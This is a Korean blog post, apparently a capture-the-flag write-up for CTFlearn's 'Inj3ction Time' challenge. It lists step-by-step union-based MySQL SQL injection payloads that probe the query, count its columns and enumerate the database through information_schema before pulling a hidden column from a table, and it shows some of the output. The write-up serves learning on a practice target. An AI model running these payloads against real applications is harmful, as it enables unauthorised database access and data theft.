본문 바로가기
ctflearn

[ctfLearn] Inj3ction Time

by skyepodium 2023. 4. 29.

1. 개요

union sql injection, mysql 문제

 

2. 분석

sql injection이 걸리는 것을 확인했습니다.

1 or 1 = 1

 

# 이 주석으로 동작하는 것을 볼때 mysql 계열 DB 같습니다.

1 # asdf

 

union 을 걸면서 앞의 조회구문이 몇개의 칼럼을 조회하는 지 찾습니다. (4개를 조회하고 있습니다)

1 union select 1, 2, 3, 4

 

현재 사용중인 데이터베이스 명은 webheight 입니다.

1 union select 1, 2, database(), 4

 

테이블 목록을 찾습니다. w0w_y0u_f0und_m3 가 수상해보입니다.

1 union select 1, 2, group_concat(table_name), 4 from information_schema.tables where table_schema=database()

Dog View

 

 

칼럼 이름을 조회했을 때 f0und_m3라는 수상한 칼럼을 발견했습니다.

1 union select 1, 2, COLUMN_NAME, 4 from information_schema.columns

 

w0w_y0u_f0und_m3 테이블의 f0und_m3 칼럼에 flag가 들어있습니다.

1 union select 1, 2, f0und_m3, 4 from w0w_y0u_f0und_m3

Name: Saranac
Breed: Great Dane
Color: Black
Name: 2
Breed: 1
Color: w0w_y0u_f0und_m3,webei

'ctflearn' 카테고리의 다른 글

[ctflearn] like1000  (0) 2022.08.15
[ctflearn] Time Traveller  (0) 2022.08.15
[ctflearn] Suspecious message  (0) 2022.08.15
[ctflearn] Git Is Good  (0) 2022.08.15
[ctflearn] Blank Page  (0) 2022.08.15